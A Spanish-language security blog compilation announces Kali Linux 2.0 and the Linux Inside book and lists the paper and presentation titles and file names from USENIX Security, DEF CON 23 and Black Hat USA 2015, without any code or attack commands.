• A Placement Vulnerability Study in Multi-Tenant Public Clouds - Paper
• A Measurement Study on Co-residence Threat inside the Cloud - Paper
• Towards Discovering and Understanding Task Hijacking in Android - Paper
• Cashtags: Protecting the Input and Display of Sensitive Data - Paper
• SUPOR: Precise and Scalable Sensitive User Input Detection for Android Apps - Paper
• UIPicker: User-Input Privacy Identification in Mobile Applications - Paper
• Cloudy with a Chance of Breach: Forecasting Cyber Security Incidents - Paper
• WebWitness: Investigating, Categorizing, and Mitigating Malware Download Paths - Paper
• Vulnerability Disclosure in the Age of Social Media: Exploiting Twitter for Predicting Real-World Exploits - Paper
• Needles in a Haystack: Mining Information from Public Dynamic Analysis Sandboxes for Malware Intelligence - Paper

A este evento le preceden una serie de talleres enfocados en temas más específicos, también dentro del ámbito de la seguridad informática: WOOT, CSET, FOCI, HealthTech, 3GSE, HotSet y JETS.

Cada uno de dichos talleres, a excepción de HotSet, también han publicado el contenido de sus sesiones, aunque en el caso the HealthTech sólo tienen publicada una de ellas.

Kali Linux 2.0

Hoy ha sido lanzada la nueva versión de Kali Linux. Este es sin duda el sistema más usado en auditorias de seguridad. No necesita presentación alguna y todas sus novedades las podéis encontrar en su blog oficial.

Las diferentes imágenes de descarga las tenéis aquí, aunque se recomienda el uso de torrents para no saturar el servidor.

Aquí os dejo el vídeo de presentación:

Linux Inside

Hace un tiempo publicamos aquí una entrada con una serie de tutoriales sobre arranque e inicialización en sistemas operativos con el núcleo de Linux.

El autor de las mismas ha seguido escribiendo sobre interrupciones, manejo de la memoria y conceptos varios, y además a creado un libro en Gitbook llamado Linux Inside con todo el contenido que ha ido escribiendo y que está escribiendo.

Dicho libro lo puedes leer online de forma gratuita, e incluso lo puedes descargar en formato PDF, EPUB o MOBI.

Material de Defcon 23

Y después de Black Hat, llega Defcon. Ya podemos acceder a las presentaciones de la edición 23 de la conferencia más grande sobre seguridad informática.

• 3alarmlampscooter
  • 3alarmlampscooter-DIY-Nukeproofing.pdf
• Alessandro Di Federico
  • Alessandro-Di-Federico-Leakless-How-The-ELF-ruined.pdf
• Amit Ashbel & Maty Siman
  • Amit-Ashbel-Maty-Siman-Game-of-Hacks-Play-Hack-and.pdf
• AmmonRa
  • ammonRA-How-to-hack-your-way-out-of-home-detention.pdf
• Andres Blanco & Andres Gazzoli
  • Andres-Blanco-802.11-Massive-Monitoring.pdf
• Atlas
  • Atlas-Fun-With-Symboliks.pdf
• Bart Kulach
  • Bart-Kulach-Hack-the-Legacy-IBMi-revealed.pdf
• Brent White
  • Brent-White-Hacking-Web-Apps-WP.pdf
• Brian Gorenc & Abdul Aziz Hariri & Jason Spelman
  • Hariri-Spelman-Gorenc-Abusing-Adobe-Readers-JavaSc.pdf
• Bruce Potter
  • Bruce-Potter-Hackers-Guide-to-Risk.pdf
• Chris Domas
  • Chris-Domas-REpsych.pdf
• Chris Rock
  • Chris-Rock-I-Will-Kill-You-How-to-Get-Away-with-Mu.pdf
• Chris Sistrunk
  • Chris-Sistrunk-NSM-101-for-ICS.pdf
• Colby Moore
  • Colby-Moore-Spread-Spectrum-Satcom-Hacking.pdf
• Colin O'Flynn
  • Colin-O'Flynn-Dont-Whisper-My-Chips.pdf
• Collin Anderson & Tom Cross
  • Collin-Anderson-Tom-Cross-Export-Controls-on-Intru.pdf
• Collin Cassidy & Robert Lee & Eireann Leverett
  • Cassidy-Leverett-Lee-Switches-Get-Stitches.pdf
• Craig Young
  • Extras/
  • Craig-Young-How-To-Train-Your-RFID-Hacking-Tools.pdf
• Dakahuna & Satanklawz
  • DaKahuna-Satanlawz-Introduction-to-SDR-and-Wifi-Vi.pdf
• Damon Small
  • Damon-Small-Beyond-the-Scan.pdf
• Daniel Crowley & Damon Smith
  • Daniel-Crowley-Damon-Smith-Bugged-Files.pdf
• Daniel Selifonov
  • Daniel-Selifonov-Drinking-from-LETHE.pdf
• David An
  • David-An-When-the-Secretary-of-State-says-Stop-Hac.pdf
• David Huerta
  • David-Huerta-Alice-and-Bob-are-Really-Confused.pdf
• David Mortman
  • David-Mortman-Docker.pdf
• Eijah
  • Eijah-Crypto-for-Hackers.pdf
• Eric (XlogicX) Davisson
  • Eric-XlogicX-Davisson-ReDoS.pdf
• Eric Van Albert & Zack Banks
  • Eric-Van-Albert-Zack-Banks-Looping-Surveillance-Ca.pdf
• Etienne Martineau
  • Etienne-Martineau-Inter-VM-Data-Exfiltration.pdf
• Evilrob & Xaphan
  • Evilrob-Xaphan-TLS-Canary-Keeping-Your-Dick-Pics-S.pdf
• Fatih Ozavci
  • Fatih-Ozavci-The-Art-of-VoIP-Workshop.pdf
• Fernando Arnaboldi
  • Fernando-Arnaboldi-Abusing-XSLT-for-Practical-Atta.pdf
  • Fernando-Arnaboldi-Abusing-XSLT-for-Practical-_002.pdf
• Gerard Laygui
  • Gerard-Laygui-Forensic-Artifacts-Pass-The-Hash-Att.pdf
• Grant Bugher
  • Grant-Bugher-Obtaining-and-Detecting-Domain-Persis.pdf
• Gregory Pickett
  • Extras/
  • Gregory-Pickett-Staying-Persistant-in-Software-Def.pdf
• Ian Kline
  • Ian-Kline-LTE-Recon-and-Tracking-with-RTLSDR.pdf
• Ian Latter
  • Ian-Latter-Remote-Access-the-APT.pdf
• Ionut Popescu
  • Ionut-Popescu-NetRipper-WP.pdf
  • Ionut-Popescu-NetRipper.pdf
• Jason Haddix
  • Jason-Haddix-How-Do-I-shot-Web.pdf
• Jeremy Dorrough
  • Jeremy-Dorrough-USB-Attack-to-Decrypt-Wi-Fi-Commun.pdf
• John Menerick
  • John-Menerick-Backdooring-Git.pdf
• John Seymour
  • John-Seymour-Quantum-Classification-of-Malware-WP.pdf
  • John-Seymour-Quantum-Classification-of-Malware.pdf
• Jose Selvi
  • Jose-Selvi-Breaking-SSL-Using-Time-Synchronisation.pdf
• Joshua Smith
  • Joshua-Smith-High-Def-Fuzzing-Exploitation-Over-HD.pdf
• Justin Engler
  • Justin-Engler-Secure-Messaging-For-Normal-People-W.pdf
  • Justin-Engler-Secure-Messaging-For-Normal-People.pdf
• Ken Westin
  • Ken-Westin-Confessions-of-a-Cyberstalker.pdf
• Lance Butters (Nemus)
  • Lance-Buttars-Nemus-SQLi-on-LAMP.pdf
• Li Jun & Yang Qing
  • Li-Jun-Yang-Qing-I-AM-A-NEWBIE-YET-I-CAN-HACK-ZIGB.pdf
• Lin Huang & Qing Yang
  • Lin-Huang-Qing-Yang-GPS-Spoofing.pdf
• Luke Young
• Mahdi Namazifar
  • Mahdi-Namazifar-Detecting-Random-Strings-Language-.pdf
• Maiubiz
  • Miaubiz-Put-on-Your-Tinfo_t-Hat.pdf
• Marina Krotofil & Jason Larsen
  • Marina-Krotofil-Jason-Larsen-Rocking-the-Pocke_002.pdf
  • Marina-Krotofil-Jason-Larsen-Rocking-the-Pocketboo.pdf
• Mark Ryan Talabis
  • Mark-Ryan-Talabis-The-Bieber-Project.pdf
• Marte L0ge
  • Marte-L0ge-I-will-Tell-you-your-Lock-Pattern.pdf
• Matt Graeber & Willi Ballenthin & Claudio Teodorescu
  • Ballenthin-Graeber-Teodorescu-WMI-Attacks-Defense-.pdf
• Matteo Becarro & Matteo Collura
  • Matteo-Becarro-Matteo-Collura-Extracting-The-Painf.pdf
• Michael Robinson
  • Michael-Robinson-Knocking-My-Neighbors-Kids-Drone-.pdf
• Michael Schrenk
  • Michael-Schrenk-Applied-Intelligence.pdf
• Mickey Shkatov & Jesse Michael
  • Mickey-Shkatov-Jesse-Michael-Scared-poopless-LTE-a.pdf
• Mike Sconzo
  • Mike-Sconzo-I-am-packer-and-so-can-you.pdf
• Nadeem Douba
  • Extras/
  • Nadeem-Douba-BurpKit.pdf
• Nir Valtman & MosheFerber
  • Nir-Valtman-Moshe-Ferber-From-zero-to-secure-in-1-.pdf
• Omer Coskun
  • Omer-Coskun-Why-Nation-State-Malwares-Target-Telco.pdf
• Panel - Comedy Inception
  • Panel-Comedy-Inception-Amanda-Berlin-Blue-Team-Hel.pdf
• Patrick McNeil
  • Patrick-McNeil-Guidelines-For-Securing-Your-VoIP-P.pdf
• Patrick McNeil & Snide Owen
  • Patrick-McNeil-Owen-Sorry-Wrong-Number.pdf
• Patrick Wardle
  • Patrick-Wardle-DLL-Hijacking-on-OSX.pdf
  • Patrick-Wardle-Stick-that-in-your-(Root)Pipe-and-S.pdf
• Paul Amicelli & David Baptiste
  • Paul-Amicelli-David-Baptiste-How-to-secure-the-key.pdf
• Peter Desfigies, Joshua Brierton & Naveed Ul Islam
  • Desfigies-Brierton-Islam-Guests-N-Goblins-Referenc.txt
  • Desfigies-Brierton-Islam-Guests-N-Goblins.pdf
• Phil Polstra
  • Extras/
  • Phil-Polstra-Hacker-in-the-Wires.pdf
  • Phil-Polstra-One-device-to-Pwn-them-all.pdf
• Phil Young & Chad Rikansrud
  • Extras/
  • Phil-Young-Chad-Rikansrud-Security-Necromancy-Furt.pdf
• Phillip Aumasson
  • Phillip-Aumasson-Quantum-Computers-vs-Computers-Se.pdf
• Rich Kelley
  • Rich-Kelley-Harness-Powershell-Weaponization-Made-.pdf
• Richo Healey & Mike Ryan
  • Richo-Healey-Mike-Ryan-Hacking-Electric-Skateboard.pdf
• Ricky Lawshae
  • Extras/
  • Rickey-Lawshae-Lets-Talk-About-SOAP.pdf
• Rodrigo Almeida
  • Extras/
  • Rodringo-Almeida-Embedded-System-Design-From-E_002.pdf
  • Rodringo-Almeida-Embedded-System-Design-From-Elect.pdf
• Ronny Bull & Jeanna Matthews
  • Extras/
  • Ronny-Bull-Jeanna-Matthews-Exploring-Layer-2-N_002.pdf
  • Ronny-Bull-Jeanna-Matthews-Exploring-Layer-2-Netwo.pdf
• Ryan Castelluci
  • Ryan-Castellucci-Cracking-Cryptocurrency-Brainwall.pdf
• Ryan Mitchell
  • Ryan-Mitchell-Separating-Bots-from-Humans.pdf
• Ryan O'Neil
  • Ryan-O'Neil-Advances-in-Linux-Forensics-ECFS.pdf
• Saif El-Sherei & Etienne Stalmans
  • Saif-El-Sherei-Etienne-Stalmans-SensePost-Introduc.pdf
• Sam Bowne
  • Sam-Bowne-Workshop-Android-Security-Auditing-Mobil.pdf
  • Sam-Bowne-Workshop-Violent-Python.pdf
• Samy Kamkar
  • Extras/
  • Samy-Kamkar-README.txt
• Sarah Edwards
  • Sarah-Edwards-Ubiquity-Forensics.pdf
• Sean Metcalf
  • Sean-Metcalf-Red-vs-Blue-AD-Attack-and-Defense.pdf
• Shawn Webb
  • Shawn-Webb-HardenedBSD-Internals.pdf
• Tamas Szakaly
  • Tamas-Szakaly-Shall-We-Play-A-Game.pdf
• Tony Trummer & Tushar Dalvi
  • Tony-Trummer-Tushar-Dalvi-QARK.pdf
• Topher Timzen & Ryan Allen
  • Topher-Timzen-Acquiring-NET-Objects-From-The-Manag.pdf
  • Topher-Timzen-Ryan-Allen-Hijacking-Arbitrary-NET-A.pdf
  • Topher-Timzen-Ryan-Allen-Hijacking-Arbitrary-N_002.pdf
• Tottenkoph & IrishMASMS
  • Tottenkoph-IrishMASMS-Hackers-Hiring-Hacker.pdf
• Vivek Ramachadran
  • Vivek-Ramachadran-Chellam.pdf
• Wesley McGrew
  • Wesley-McGrew-I-Hunt-Penetration-Testers-WP.pdf
  • Wesley-McGrew-I-Hunt-Penetration-Testers.pdf
• Weston Hecker
  • Weston-Hecker-Goodbye-Memory-Scraping-Malware.pdf
• Xntrik
  • xntrik-Hooked-Browser-Meshed-Networks-with-webRTC-.pdf
• Yan Shoshitaishvili & Fish Wang
  • Yan-Shoshitaishvili-Fish-Wang-Angry-Hacking.pdf
• Yaniv Balmas & Lior Oppenheim
  • Yaniv-Balmas-Lior-Oppenheim-Key-Logger-Video-Mouse.pdf
• Yuwei Zheng & Haoqi Shan
  • Yuwei-Zheng-Haoqi-Shan-Build-a-Free-Cellular-Traff.pdf
• Zach Allen & Rusty Bower
  • Zack-Allen-Rusty-Bower-Malware-In-Gaming.pdf
• fluxist
  • Fluxist-Unbootable-Exploiting-Paylock-Smartboot.pdf

Material de Black Hat USA 2015

Ya tenemos disponible la mayoría de las presentaciones de la Black Hat USA 2015.

La lista es la siguiente:

• The Lifecycle of a Revolution us-15-Granick-The-Lifecycle-Of-A-Revolution.pdf
• Abusing Silent Mitigations - Understanding Weaknesses Within Internet Explorers Isolated Heap and MemoryProtection us-15-Gorenc-Abusing-Silent-Mitigations-Understanding-Weaknesses-Within-Internet-Explorers-Isolated-Heap-And-MemoryProtection.pdf us-15-Gorenc-Abusing-Silent-Mitigations-Understanding-Weaknesses-Within-Internet-Explorers-Isolated-Heap-And-MemoryProtection-wp.pdf
• Abusing Windows Management Instrumentation (WMI) to Build a Persistent Asynchronous and Fileless Backdoor us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor.pdf us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor-wp.pdf us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor-WMIBackdoor.ps1
• Abusing XSLT for Practical Attacks us-15-Arnaboldi-Abusing-XSLT-For-Practical-Attacks.pdf us-15-Arnaboldi-Abusing-XSLT-For-Practical-Attacks-wp.pdf
• Advanced IC Reverse Engineering Techniques: In Depth Analysis of a Modern Smart Card us-15-Thomas-Advanced-IC-Reverse-Engineering-Techniques-In-Depth-Analysis-Of-A-Modern-Smart-Card.pdf
• Adventures in Femtoland: 350 Yuan for Invaluable Fun
• Ah! Universal Android Rooting is Back us-15-Xu-Ah-Universal-Android-Rooting-Is-Back.pdf us-15-Xu-Ah-Universal-Android-Rooting-Is-Back-wp.pdf
• Android Security State of the Union
• API Deobfuscator: Resolving Obfuscated API Functions in Modern Packers us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf
• Assessing and Exploiting BigNum Vulnerabilities
• Attacking ECMAScript Engines with Redefinition us-15-Silvanovich-Attacking-ECMA-Script-Engines-With-Redefinition us-15-Silvanovich-Attacking-ECMA-Script-Engines-With-Redefinition-wp.pdf
• Attacking Hypervisors Using Firmware and Hardware
• Attacking Interoperability - An OLE Edition us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf
• Attacking Your Trusted Core: Exploiting Trustzone on Android us-15-Shen-Attacking-Your-Trusted-Core-Exploiting-Trustzone-On-Android.pdf us-15-Shen-Attacking-Your-Trusted-Core-Exploiting-Trustzone-On-Android-wp.pdf
• Automated Human Vulnerability Scanning with AVA us-15-Bell-Automated-Human-Vulnerability-Scanning-With-AVA.pdf
• Back Doors and Front Doors Breaking the Unbreakable System
• Battle of the SKM and IUM: How Windows 10 Rewrites OS Architecture
• Behind the Mask: The Agenda Tricks and Tactics of the Federal Trade Commission as they Regulate Cybersecurity us-15-Daugherty-Behind-The-Mask-The-Agenda-Tricks-And-Tactics-Of-The-Federal-Trade-Commission-As-They-Regulate-Cybersecurity.pdf
• BGP Stream
• Big Game Hunting: The Peculiarities of Nation-State Malware Research us-15-MarquisBoire-Big-Game-Hunting-The-Peculiarities-Of-Nation-State-Malware-Research.pdf
• Breaking Access Controls with BLEKey
• Breaking Honeypots for Fun and Profit
• Breaking HTTPS with BGP Hijacking us-15-Gavrichenkov-Breaking-HTTPS-With-BGP-Hijacking.pdf us-15-Gavrichenkov-Breaking-HTTPS-With-BGP-Hijacking-wp.pdf
• Breaking Payloads with Runtime Code Stripping and Image Freezing us-15-Mulliner-Breaking-Payloads-With-Runtime-Code-Stripping-And-Image-Freezing.pdf us-15-Mulliner-Breaking-Payloads-With-Runtime-Code-Stripping-And-Image-Freezing-wp.pdf
• Bring Back the Honeypots
• Bringing a Cannon to a Knife Fight
• Broadcasting Your Attack: Security Testing DAB Radio in Cars
• Bypass Control Flow Guard Comprehensively us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively.pdf us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf
• Bypass Surgery Abusing Content Delivery Networks with Server-Side-Request Forgery (SSRF) Flash and DNS
• Certifi-gate: Front-Door Access to Pwning Millions of Androids us-15-Bobrov-Certifi-Gate-Front-Door-Access-To-Pwning-Millions-Of-Androids.pdf us-15-Bobrov-Certifi-Gate-Front-Door-Access-To-Pwning-Millions-Of-Androids-wp.pdf
• Cloning 3G/4G SIM Cards with a PC and an Oscilloscope: Lessons Learned in Physical Security us-15-Yu-Cloning-3G-4G-SIM-Cards-With-A-PC-And-An-Oscilloscope-Lessons-Learned-In-Physical-Security.pdf us-15-Yu-Cloning-3G-4G-SIM-Cards-With-A-PC-And-An-Oscilloscope-Lessons-Learned-In-Physical-Security-wp.pdf
• Commercial Mobile Spyware - Detecting the Undetectable us-15-Dalman-Commercial-Spyware-Detecting-The-Undetectable.pdf us-15-Dalman-Commercial-Spyware-Detecting-The-Undetectable-wp.pdf
• CrackLord: Maximizing Password Cracking Boxes us-15-Morris-CrackLord-Maximizing-Password-Cracking.pdf us-15-Morris-CrackLord-Maximizing-Password-Cracking-wp.pdf us-15-Morris-CrackLord-Maximizing-Password-Cracking-src.zip
• Crash & Pay: How to Own and Clone Contactless Payment Devices us-15-Fillmore-Crash-Pay-How-To-Own-And-Clone-Contactless-Payment-Devices.pdf us-15-Fillmore-Crash-Pay-How-To-Own-And-Clone-Contactless-Payment-Devices-wp.pdf
• Dance Like Nobodys Watching Encrypt Like Everyone Is: A Peek Inside the Black Hat Network
• Data-Driven Threat Intelligence: Metrics on Indicator Dissemination and Sharing
• Deep Learning on Disassembly us-15-Davis-Deep-Learning-On-Disassembly.pdf
• Defeating Machine Learning: What Your Security Vendor is Not Telling You
• Defeating Pass-the-Hash: Separation of Powers us-15-Moore-Defeating Pass-the-Hash-Separation-Of-Powers.pdf us-15-Moore-Defeating Pass-the-Hash-Separation-Of-Powers-wp.pdf
• Distributing the Reconstruction of High-Level Intermediate Representation for Large Scale Malware Analysis
• Dom Flow - Untangling the DOM for More Easy-Juicy Bugs us-15-Nafeez-Dom-Flow-Untangling-The-DOM-For-More-Easy-Juicy-Bugs.pdf
• Emanate Like a Boss: Generalized Covert Data Exfiltration with Funtenna
• Exploiting Out-of-Order Execution for Covert Cross-VM Communication us-15-DAntoine-Exploiting-Out-Of-Order-Execution-For-Covert-Cross-VM-Communication.pdf us-15-DAntoine-Exploiting-Out-Of-Order-Execution-For-Covert-Cross-VM-Communication-wp.pdf
• Exploiting the DRAM Rowhammer Bug to Gain Kernel Privileges us-15-Seaborn-Exploiting-The-DRAM-Rowhammer-Bug-To-Gain-Kernel-Privileges.pdf us-15-Seaborn-Exploiting-The-DRAM-Rowhammer-Bug-To-Gain-Kernel-Privileges-wp.pdf
• Exploiting XXE Vulnerabilities in File Parsing Functionality us-15-Vandevanter-Exploiting-XXE-Vulnerabilities-In-File-Parsing-Functionality.pdf us-15-Vandevanter-Exploiting-XXE-Vulnerabilities-In-File-Parsing-Functionality-tool.zip
• Faux Disk Encryption: Realities of Secure Storage on Mobile Devices us-15-Mayer-Faux-Disk-Encryption-Realities-Of-Secure-Storage-On-Mobile-Devices-wp.pdf
• FileCry - The New Age of XXE us-15-Wang-FileCry-The-New-Age-Of-XXE.pdf us-15-Wang-FileCry-The-New-Age-Of-XXE-ie-wp.pdf us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf
• Fingerprints on Mobile Devices: Abusing and Leaking us-15-Zhang-Fingerprints-On-Mobile-Devices-Abusing-And-Leaking.pdf us-15-Zhang-Fingerprints-On-Mobile-Devices-Abusing-And-Leaking-wp.pdf
• Forging the USB Armory an Open Source Secure Flash-Drive-Sized Computer
• From False Positives to Actionable Analysis: Behavioral Intrusion Detection Machine Learning and the SOC us-15-Zadeh-From-False-Positives-To-Actionable-Analysis-Behavioral-Intrusion-Detection-Machine-Learning-And-The-SOC.pdf us-15-Zadeh-From-False-Positives-To-Actionable-Analysis-Behavioral-Intrusion-Detection-Machine-Learning-And-The-SOC-wp.pdf
• Fuzzing Android System Services by Binder Call to Escalate Privilege us-15-Gong-Fuzzing-Android-System-Services-By-Binder-Call-To-Escalate-Privilege.pdf us-15-Gong-Fuzzing-Android-System-Services-By-Binder-Call-To-Escalate-Privilege-wp.pdf
• GameOver Zeus: Badguys and Backends us-15-Peterson-GameOver-Zeus-Badguys-And-Backends.pdf us-15-Peterson-GameOver-Zeus-Badguys-And-Backends-wp.pdf
• Graphic Content Ahead: Towards Automated Scalable Analysis of Graphical Images Embedded in Malware us-15-Long-Graphic-Content-Ahead-Towards-Automated-Scalable-Analysis-Of-Graphical-Images-Embedded-In-Malware.pdf
• Harnessing Intelligence from Malware Repositories us-15-Lakhotia-Harnessing-Intelligence-From-Malware-Repositories.pdf
• HI THIS IS URGENT PLZ FIX ASAP: Critical Vulnerabilities and Bug Bounty Programs us-15-Price-Hi-This-Is-Urgent-Plz-Fix-ASAP-Critical-Vulnerabilities-And-Bug-Bounty-Programs.pdf
• Hidden Risks of Biometric Identifiers and How to Avoid Them us-15-Keenan-Hidden-Risks-Of-Biometric-Identifiers-And-How-To-Avoid-Them.pdf us-15-Keenan-Hidden-Risks-Of-Biometric-Identifiers-And-How-To-Avoid-Them-wp.pdf
• How to Hack Government: Technologists as Policy Makers
• How to Implement IT Security After a Cyber Meltdown us-15-Kubecka-How-To-Implement-IT-Security-After-A-Cyber-Meltdown.pdf
• How Vulnerable are We to Scams? us-15-Jakobsson-How-Vulnerable-Are-We-To-Scams.pdf us-15-Jakobsson-How-Vulnerable-Are-We-To-Scams-wp.pdf
• Information Access and Information Sharing: Where We are and Where We are Going
• Internet Plumbing for Security Professionals: The State of BGP Security us-15-Remes-Internet-Plumbing-For-Security-Professionals-The-State-Of-BGP-Security.pdf us-15-Remes-Internet-Plumbing-For-Security-Professionals-The-State-Of-BGP-Security-wp.pdf
• Internet-Facing PLCs - A New Back Orifice us-15-Klick-Internet-Facing-PLCs-A-New-Back-Orifice.pdf us-15-Klick-Internet-Facing-PLCs-A-New-Back-Orifice-wp.pdf
• Internet-Scale File Analysis us-15-Hanif-Internet-Scale-File-Analysis.pdf us-15-Hanif-Internet-Scale-File-Analysis-wp.pdf
• Is the NSA Still Listening to Your Phone Calls? A Surveillance Debate: Congressional Success or Epic Fail
• Mobile Point of Scam: Attacking the Square Reader us-15-Mellen-Mobile-Point-Of-Scam-Attacking-The-Square-Reader.pdf us-15-Mellen-Mobile-Point-Of-Scam-Attacking-The-Square-Reader-wp.pdf
• Most Ransomware Isnt as Complex as You Might Think us-15-Kirda-Most-Ransomware-Isn’t-As-Complex-As-You-Might-Think.pdf us-15-Kirda-Most-Ransomware-Isn’t-As-Complex-As-You-Might-Think-wp.pdf
• My Bro the ELK: Obtaining Context from Security Events us-15-Smith-My-Bro-The-ELK-Obtaining-Context-From-Security-Events.pdf us-15-Smith-My-Bro-The-ELK-Obtaining-Context-From-Security-Events-wp.pdf
• Optimized Fuzzing IOKit in iOS us-15-Lei-Optimized-Fuzzing-IOKit-In-iOS.pdf us-15-Lei-Optimized-Fuzzing-IOKit-In-iOS-wp.pdf
• Panel: Getting It Right: Straight Talk on Threat & Information Sharing
• Panel: How the Wassenaar Arrangements Export Control of Intrusion Software Affects the Security Industry
• Pen Testing a City us-15-Conti-Pen-Testing-A-City.pdf us-15-Conti-Pen-Testing-A-City-wp.pdf
• Red vs Blue: Modern Active Directory Attacks Detection and Protection us-15-Metcalf-Red-Vs-Blue-Modern-Active-Directory-Attacks-Detection-And-Protection.pdf us-15-Metcalf-Red-Vs-Blue-Modern-Active-Directory-Attacks-Detection-And-Protection-wp.pdf
• Remote Exploitation of an Unaltered Passenger Vehicle
• Remote Physical Damage 101 - Bread and Butter Attacks us-15-Larsen-Remote-Physical-Damage-101-Bread-And-Butter-Attacks.pdf
• Repurposing OnionDuke: A Single Case Study Around Reusing Nation State Malware us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware.pdf us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
• Return to Where? You Cant Exploit What You Cant Find
• Review and Exploit Neglected Attack Surfaces in iOS 8 us-15-Wang-Review-And-Exploit-Neglected-Attack-Surface-In-iOS-8.pdf
• Rocking the Pocket Book: Hacking Chemical Plant for Competition and Extortion us-15-Krotofil-Rocking-The-Pocket-Book-Hacking-Chemical-Plant-For-Competition-And-Extortion.pdf us-15-Krotofil-Rocking-The-Pocket-Book-Hacking-Chemical-Plant-For-Competition-And-Extortion-wp.pdf
• ROPInjector: Using Return Oriented Programming for Polymorphism and Antivirus Evasion us-15-Xenakis-ROPInjector-Using-Return-Oriented-Programming-For-Polymorphism-And-Antivirus-Evasion.pdf us-15-Xenakis-ROPInjector-Using-Return-Oriented-Programming-For-Polymorphism-And-Antivirus-Evasion-wp.pdf
• Securing Your Big Data Environment us-15-Gaddam-Securing-Your-Bigdata-Environment.pdf us-15-Gaddam-Securing-Your-Bigdata-Environment-wp.pdf
• Server-Side Template Injection: RCE for the Modern Web App us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
• SMBv2: Sharing More than Just Your Files us-15-Brossard-SMBv2-Sharing-More-Than-Just-Your-Files-wp.pdf
• Social Engineering the Windows Kernel: Finding and Exploiting Token Handling Vulnerabilities
• Spread Spectrum Satcom Hacking: Attacking the GlobalStar Simplex Data Service us-15-Moore-Spread-Spectrum-Satcom-Hacking-Attacking-The-GlobalStar-Simplex-Data-Service.pdf us-15-Moore-Spread-Spectrum-Satcom-Hacking-Attacking-The-GlobalStar-Simplex-Data-Service-wp.pdf
• Stagefright: Scary Code in the Heart of Android
• Staying Persistent in Software Defined Networks us-15-Pickett-Staying-Persistent-In-Software-Defined-Networks.pdf us-15-Pickett-Staying-Persistent-In-Software-Defined-Networks-wp.pdf us-15-Pickett-Staying-Persistent-In-Software-Defined-Networks-tool.py
• Stranger Danger! What is the Risk from 3rd Party Libraries?
• Subverting Satellite Receivers for Botnet and Profit us-15-Talmat-Subverting-Satellite-Receivers-For-Botnet-And-Profit.pdf us-15-Talmat-Subverting-Satellite-Receivers-For-Botnet-And-Profit-wp.pdf
• Switches Get Stitches us-15-Cassidy-Switches-Get-Stitches.pdf
• Take a Hacker to Work Day - How Federal Prosecutors Use the CFAA us-15-Bailey-Take-A-Hacker-To-Work Day-How-Federal-Prosecutors-Use-The-CFAA.pdf
• Taking Event Correlation with You us-15-King-Taking-Event-Correlation-With-You.pdf us-15-King-Taking-Event-Correlation-With-You-wp.pdf us-15-King-Taking-Event-Correlation-With-You-tool.tgz
• Targeted Takedowns: Minimizing Collateral Damage Using Passive DNS us-15-Vixie-Targeted-Takedowns-Minimizing-Collateral-Damage-Using-Passive-DNS.pdf
• Taxonomic Modeling of Security Threats in Software Defined Networking us-15-Hizver-Taxonomic-Modeling-Of-Security-Threats-In-Software-Defined-Networking.pdf us-15-Hizver-Taxonomic-Modeling-Of-Security-Threats-In-Software-Defined-Networking-wp.pdf
• The Applications of Deep Learning on Traffic Identification us-15-Wang-The-Applications-Of-Deep-Learning-On-Traffic-Identification.pdf us-15-Wang-The-Applications-Of-Deep-Learning-On-Traffic-Identification-wp.pdf
• The Battle for Free Speech on the Internet
• The Kali Linux Dojo Workshop #1: Rolling Your Own - Generating Custom Kali Linux 20 ISOs
• The Kali Linux Dojo Workshop #2: Kali USB Setups with Persistent Stores and LUKS Nuke Support
• The Little Pump Gauge that Could: Attacks Against Gas Pump Monitoring Systems us-15-Wilhoit-The-Little-Pump-Gauge-That-Could-Attacks-Against-Gas-Pump-Monitoring-Systems.pdf us-15-Wilhoit-The-Little-Pump-Gauge-That-Could-Attacks-Against-Gas-Pump-Monitoring-Systems-wp.pdf
• The Memory Sinkhole - Unleashing an x86 Design Flaw Allowing Universal Privilege Escalation us-15-Domas-The-Memory-Sinkhole-Unleashing-An-x86-Design-Flaw-Allowing-Universal-Privilege-Escalation.pdf us-15-Domas-The-Memory-Sinkhole-Unleashing-An-x86-Design-Flaw-Allowing-Universal-Privilege-Escalation-wp.pdf
• The Nodejs Highway: Attacks are at Full Throttle us-15-Siman-The-Node-Js-Highway-Attacks-Are-At-Full-Throttle.pdf
• The NSA Playset: A Year of Toys and Tools us-15-Ossmann-The-NSA-Playset-A-Year-Of-Toys-And-Tools.pdf
• The Tactical Application Security Program: Getting Stuff Done
• These are Not Your Grand Daddys CPU Performance Counters - CPU Hardware Performance Counters for Security us-15-Herath-These-Are-Not-Your-Grand-Daddys-CPU-Performance-Counters-CPU-Hardware-Performance-Counters-For-Security.pdf
• THIS IS DeepERENT: Tracking App Behaviors with (Nothing Changed) Phone for Evasive Android Malware us-15-Park-This-Is-DeepERENT-Tracking-App-Behaviors-With-Nothing-Changed-Phone-For-EvasiveAAndroid-Malware.pdf
• ThunderStrike 2: Sith Strike us-15-Hudson-Thunderstrike-2-Sith-Strike.pdf
• TrustKit: Code Injection on iOS 8 for the Greater Good us-15-Diquet-TrustKit-Code-Injection-On-iOS-8-For-The-Greater-Good.pdf
• Understanding and Managing Entropy Usage us-15-Potter-Understanding-And-Managing-Entropy-Usage.pdf us-15-Potter-Understanding-And-Managing-Entropy-Usage-wp.pdf
• Understanding the Attack Surface and Attack Resilience of Project Spartans New EdgeHTML Rendering Engine us-15-Yason-Understanding-The-Attack-Surface-And-Attack-Resilience-Of-Project-Spartans-New-EdgeHTML-Rendering-Engine.pdf us-15-Yason-Understanding-The-Attack-Surface-And-Attack-Resilience-Of-Project-Spartans-New-EdgeHTML-Rendering-Engine-wp.pdf
• Unicorn: Next Generation CPU Emulator Framework
